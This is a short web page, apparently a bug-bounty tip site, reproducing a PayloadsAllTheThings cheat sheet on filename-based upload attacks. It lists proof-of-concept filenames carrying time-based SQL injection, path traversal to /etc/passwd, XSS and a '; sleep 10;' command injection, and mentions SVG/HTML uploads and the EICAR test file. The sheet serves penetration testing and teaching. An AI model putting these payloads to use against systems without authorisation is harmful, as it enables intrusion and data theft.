Upload Insecure Files: Filename Vulnerabilities

File uploadExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension

  • LFI/Path Traversal Payloads: e.g. image.png../../../../../../../etc/passwd

  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension

  • File Traversal e.g. ../../../tmp/lol.png

  • Command Injection e.g. ; sleep 10;

Also you upload:

  • HTML/SVG files to trigger an XSS

  • EICAR file to check the presence of an antivirus

Comments

No comments yet.